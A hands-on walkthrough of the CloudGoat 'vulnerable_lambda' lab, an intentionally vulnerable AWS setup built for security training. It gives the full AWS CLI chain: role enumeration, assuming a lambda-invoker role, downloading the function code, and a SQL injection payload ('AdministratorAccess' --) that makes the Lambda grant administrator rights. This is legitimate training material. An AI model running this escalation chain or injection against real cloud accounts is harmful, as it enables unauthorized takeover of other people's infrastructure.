CloudGoat 2.0 - vulnerable_lambda

CloudGoat 2.0 - vulnerable_lambda

Breaking Down AWS Attack Paths: A Hands-On Approach To AWS security

vulnerable_lambda is one of the scenarios from CloudGoat - An intentionally vulnerable by design AWS setup.

Difficulty: Easy

Hands-On

Task

Initialize the terraform script to set the vulnerable scenario on your AWS account.

./cloudgoat.py create vulnerable_lambda

Once the setup is complete, the new account credentials will be available in the below file.

The task is to use these credentials to authenticate as low privileged user & escalate the privileges in the cloud environment.

Hints

The creator leaves us some hints to leverage & fast-track the win.

Lucidchart Diagram

Solution

Authenticate using the new credentials. We use bilbo (got from hints screenshot)

# Uses stdout instead of vim to show output
export AWS_PAGER=
aws configure --profile bilbo

Check the user ID and account information

aws sts get-caller-identity --profile bilbo

In the hints screenshot, it says "List IAM" roles. Let's try to do that

aws iam list-roles --profile bilbo | jq '.Roles[].RoleName'

Among tens of roles, these two stand out for me considering, we are solving vulnerable_lambda challenge. Let's see what they are made of!

The <role_name> in the below command will be different for you as its randomly generated. Replace it accordingly.

export ROLE_NAME=cg-lambda-invoker-vulnerable_lambda_cgid0isrortd10
aws iam get-role --profile bilbo --role-name $ROLE_NAME | jq -r '.Role.AssumeRolePolicyDocument.Statement'

We have two roles - one can assume any role as the current user & other can assume a role as lambda. Let's assume the cg-lambda-invoker-... role. To assume, the role, we need the role ARN.

aws iam get-role --profile bilbo --role-name $ROLE_NAME | jq -r '.Role.Arn'

Use the arn from above & use it to assume role

aws sts assume-role --profile bilbo --role-arn arn:aws:iam::558267956267:role/cg-lambda-invoker-vulnerable_lambda_cgid0isrortd10 --role-session-name vulnerable-lambda-session

Create a new profile with this assumed role or export them as environment variables

output=$(aws sts assume-role --profile bilbo --role-arn arn:aws:iam::558267956267:role/cg-lambda-invoker-vulnerable_lambda_cgid0isrortd10 --role-session-name vulnerable-lambda-session)
export AWS_ACCESS_KEY_ID=$(echo $output | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $output | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $output | jq -r '.Credentials.SessionToken')
aws sts get-caller-identity

We can see, the current Arn points to vulnerable-lambda-session, so we are on the right path. Since this user is capable of performing lambda operations, let's try to list the lambda functions.

Lambda functions & analysis

aws lambda list-functions

In the description, we can see, This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...

If that's true, we can add a managed policy like AdministratorAccess to our user & elevate the privileges. To validate, let's download the source code.

# Get function name
aws lambda list-functions | jq -r '.Functions[].FunctionName'
aws lambda get-function --function-name $(aws lambda list-functions | jq -r '.Functions[].FunctionName') |  jq -r '.Code'

Download the source code from this location.

mkdir /tmp/test
wget -O /tmp/test/download.zip $(aws lambda get-function --function-name $(aws lambda list-functions | jq -r '.Functions[].FunctionName') | jq -r '.Code.Location')
cd /tmp/test
unzip download.zip

If you scroll to the end in main.py, we can the payload structure to invoke the lambda function.

{
    "policy_names": [
        "AmazonSNSReadOnlyAccess",
        "AWSLambda_ReadOnlyAccess"
    ],
    "user_name": "cg-bilbo-user"
}

Check the username of the bilbo profile user.

aws sts get-caller-identity --profile bilbo

Now, let's use this bilbo user & try to assign overprivileged permissions. In my case, the user_name is cg-bilbo-vulnerable_lambda_cgid0isrortd10. Save below inforamtion to payload.json

{
    "policy_names": [
        "AmazonSNSReadOnlyAccess",
        "AWSLambda_ReadOnlyAccess",
        "AdministratorAccess"
    ],
    "user_name": "cg-bilbo-vulnerable_lambda_cgid0isrortd10"
}

Let's use the current user with permissions to invoke lambda functions & pass this as input.

aws lambda invoke --function-name vulnerable_lambda_cgid0isrortd10-policy_applier_lambda1 --payload file://./payload.json --cli-binary-format raw-in-base64-out out.txt

If you see the output, it says AdministratorAccess isn't an approved policy.

SQL Injection

If you see the main.py code, there's no validation on user input & it open's up a possibility for SQL injection.

Let's try to create a payload with SQL injection.

{
    "policy_names": [
        "AmazonSNSReadOnlyAccess",
        "AWSLambda_ReadOnlyAccess",
        "AdministratorAccess' --"
    ],
    "user_name": "cg-bilbo-vulnerable_lambda_cgid0isrortd10"
}

Invoke the lambda function!

aws lambda invoke --function-name vulnerable_lambda_cgid0isrortd10-policy_applier_lambda1 --payload file://./payload.json --cli-binary-format raw-in-base64-out out.txt

Let's check the permissions of this bilbo user now. We can check it using list-attached-user-policies

aws sts get-caller-identity --profile bilbo # Get user-name from here
aws iam list-attached-user-policies --profile bilbo --user-name cg-bilbo-vulnerable_lambda_cgid0isrortd10

As you can see in the output, we have now AdministratorAccess

We successfully elevated the privileges to be an administrator.